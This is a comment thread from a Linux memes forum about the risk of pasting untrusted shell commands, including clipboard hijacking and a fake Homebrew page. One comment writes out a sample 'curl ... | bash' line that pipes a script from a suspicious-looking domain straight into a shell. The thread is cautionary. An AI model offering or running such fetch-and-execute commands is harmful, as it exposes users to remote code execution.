1016
Exe in a bottle (lemmy.sdf.org)
you are viewing a single comment's thread
view the rest of the comments
[-] kamen@lemmy.world 123 points 4 days ago* (last edited 4 days ago)

... and yet some of the same people will readily copy-paste random shell scripts into their terminal without fully understanding them.

[-] f4f4f4f4f4f4f4f4@sopuli.xyz 1 points 1 day ago* (last edited 1 day ago)

Even if you understand the commands, you need to trust the website because a malicious site can use JavaScript to copy something completely different into your clipboard, with a newline character at the end to automatically execute when pasted. (Is the newline exploit fixed in all shells? It used to fail in zsh but work in many others...)

One can also paste into a text editor to verify before pasting into terminal, but what noob is going to know or bother to?

[-] Huschke@lemmy.world 88 points 4 days ago

But a forum post said it would fix my issue.

[-] Mutelogic@sh.itjust.works 34 points 4 days ago

I feel like there's some truth to this!

If the posted answer was in a moderately active thread, you can generally assume it's correct if there are no contradictory replies.

[-] lemming741@lemmy.world 28 points 4 days ago

If the thread has been dead a few weeks, they could edit their post. Or if it pulls a objects, those objects could change.

[-] possiblylinux127@lemmy.zip 30 points 4 days ago* (last edited 4 days ago)
curl gu5usgugiv.lol | bash || curl get.k3s.io | bash

Someone did something similar to this with a fake brew package manager page. They paid Google to put it on the front page.

[-] DragonsInARoom@lemmy.world 11 points 4 days ago

Let me open up my Linux bible and see if its malicious

[-] jaggedrobotpubes@lemmy.world 1 points 4 days ago

...so, never put things in the terminal?

[-] PieMePlenty@lemmy.world 5 points 3 days ago

In fact, you should delete the terminal altogether. On a related note, powershell access is considered taboo in corporate environments by IT departments. When security audits are done, you lose a point if powershell can be used. It is in fact considered a hacking tool.

[-] null@slrpnk.net 1 points 3 days ago
this post was submitted on 28 Feb 2025
1016 points (100.0% liked)

linuxmemes

22935 readers
970 users here now

Hint: :q!


Sister communities:


Community rules (click to expand)

1. Follow the site-wide rules

2. Be civil
  • Understand the difference between a joke and an insult.
  • Do not harrass or attack users for any reason. This includes using blanket terms, like "every user of thing".
  • Don't get baited into back-and-forth insults. We are not animals.
  • Leave remarks of "peasantry" to the PCMR community. If you dislike an OS/service/application, attack the thing you dislike, not the individuals who use it. Some people may not have a choice.
  • Bigotry will not be tolerated.
  • These rules are somewhat loosened when the subject is a public figure. Still, do not attack their person or incite harrassment.
  • 3. Post Linux-related content
  • Including Unix and BSD.
  • Non-Linux content is acceptable as long as it makes a reference to Linux. For example, the poorly made mockery of sudo in Windows.
  • No porn. Even if you watch it on a Linux machine.
  • 4. No recent reposts
  • Everybody uses Arch btw, can't quit Vim, <loves/tolerates/hates> systemd, and wants to interject for a moment. You can stop now.
  • 5. ๐Ÿ‡ฌ๐Ÿ‡ง Language/ัะทั‹ะบ/Sprache
  • This is primarily an English-speaking community. ๐Ÿ‡ฌ๐Ÿ‡ง๐Ÿ‡ฆ๐Ÿ‡บ๐Ÿ‡บ๐Ÿ‡ธ
  • Comments written in other languages are allowed.
  • The substance of a post should be comprehensible for people who only speak English.
  • Titles and post bodies written in other languages will be allowed, but only as long as the above rule is observed.
  • ย 

    Please report posts and comments that break these rules!


    Important: never execute code or follow advice that you don't understand or can't verify, especially here. The word of the day is credibility. This is a meme community -- even the most helpful comments might just be shitposts that can damage your system. Be aware, be smart, don't remove France.

    founded 2 years ago
    MODERATORS